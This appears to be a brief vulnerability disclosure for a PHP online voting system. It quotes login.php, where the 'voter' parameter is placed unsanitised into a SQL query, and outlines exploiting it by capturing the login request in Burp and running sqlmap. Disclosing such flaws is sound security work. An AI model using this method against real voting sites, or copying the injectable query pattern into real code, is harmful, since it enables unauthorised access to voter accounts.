If we try to login as a voter and catch the login request in burp then pass it to sql map then we can put our payload in voter parameter
Vulnerable code
```
Path :- /votersystem/login.php
<?php
session_start();
include 'includes/conn.php';
if(isset($_POST['login'])){
$voter = $_POST['voter']; <- vulnerable parameter
$password = $_POST['password'];
$sql = "SELECT * FROM voters WHERE voters_id = '$voter'"; <-
Passed unsanitized input
$query = $conn->query($sql);
if($query->num_rows < 1){
$_SESSION['error'] = 'Cannot find voter with the ID';
}
else{
$row = $query->fetch_assoc();
if(password_verify($password, $row['password'])){
$_SESSION['voter'] = $row['id'];
}
else{
$_SESSION['error'] = 'Incorrect password';
}
}
}
else{
$_SESSION['error'] = 'Input voter credentials first';
}
header('location: index.php');
?>
